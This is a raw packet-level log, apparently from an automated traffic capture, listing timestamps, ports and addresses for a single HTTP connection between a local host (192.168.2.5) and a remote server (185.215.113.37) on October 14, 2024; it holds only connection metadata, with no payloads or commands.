Oct 14, 2024 13:08:17.105730057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.105763912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.105789900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.105815887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.105825901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.105851889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.105870008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.105901957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.105904102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.105938911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.105956078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.105973005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.105987072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.106007099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.106029034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.106040001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.106069088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.106076956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.106085062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.106113911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.106125116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.106161118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.106754065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.106802940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.106837988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.106868982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.106901884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.106895924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.106940985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.106965065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.107014894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.107069969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.107073069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.107103109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.107119083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.107144117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.107155085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.107189894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.107243061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.107244968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.107244968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.107285023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.107295036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.107327938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.107342005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.107362032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.107372999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.107407093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.107424021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.107461929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.107474089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.107510090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.107548952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.107582092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.107598066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.107614994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.107633114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.107662916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446197033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446228981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446248055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446268082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446311951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446326017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446326017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446342945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446357965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446367979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446374893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446382046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446391106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446397066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446405888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446418047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446419954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446436882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446436882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446456909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446465969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446474075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446480989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446494102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446506023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446511030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446522951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446527958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446541071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446546078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446554899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446561098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446568966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446578026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446593046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446602106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446602106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446610928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446610928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446625948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446630001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446641922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446657896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446672916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446672916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446672916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446686983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446693897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446696043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446711063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446716070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446734905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446738005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446747065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446752071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446765900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446772099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446780920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446794033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446800947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446803093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446821928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446827888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446837902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446841002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446855068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446861029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446871996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446872950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446888924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446892023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446904898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446916103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446919918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446923018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446937084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446943045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446954966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446959019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446971893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.446975946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446989059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.446999073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.447006941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.447010040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.447027922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.447030067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.447045088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.447047949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.447058916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.447076082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.447088957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.447094917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.447107077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.447112083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.447124004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.447132111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.447139978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.447154999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.447160006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.447170019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.447180986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.447211027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452171087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452227116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452347040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452377081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452393055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452397108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452420950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452424049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452438116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452438116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452456951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452459097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452476025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452477932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452492952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452498913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452512980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452542067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452572107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452589989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452605009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452615023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452629089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452634096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452646971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452650070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452666044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452675104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452685118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452687025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452702045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.452709913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452722073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.452733994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453074932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453090906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453108072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453135014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453147888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453157902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453211069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453303099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453319073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453332901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453351021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453357935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453362942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453375101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453389883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453393936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453417063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453417063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453429937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453433990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453453064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453459978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453474045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453476906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453491926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453501940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453507900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453514099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453528881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453541994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453872919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453906059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453921080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.453927994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453938961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.453959942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.454006910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.454024076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.454040051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.454057932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.454060078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.454087973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.454106092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.454137087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.454153061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.454169035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.454181910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.454185963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.454189062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.454204082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.454211950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.454221010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.454236031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.454246044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.454246044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.454252958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.454255104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.454272032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.454277039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.454304934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.454314947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.454751968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.454768896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.454785109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.454803944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.454817057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.492933035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.492953062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.492969990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.492990017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.493015051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.493470907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.493500948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.493514061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.493522882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.493529081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.493537903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.493560076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.493577003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494110107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494137049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494149923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494157076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494174004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494189024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494255066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494270086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494286060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494287968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494303942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494318962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494400024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494438887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494453907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494497061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494529963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494545937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494563103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494571924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494577885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494590044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494610071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494626999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494652033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494697094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494697094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494760036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494797945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494807959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494822979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494839907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.494843960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494859934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494878054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.494965076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495004892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495021105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495037079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495052099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495060921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495076895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495098114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495102882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495136976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495182991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495197058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495217085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495220900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495233059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495238066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495254040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495261908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495270967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495277882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495294094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495310068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:17.495417118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:17.495457888 CEST	49704	80	192.168.2.5	185.215.113.37
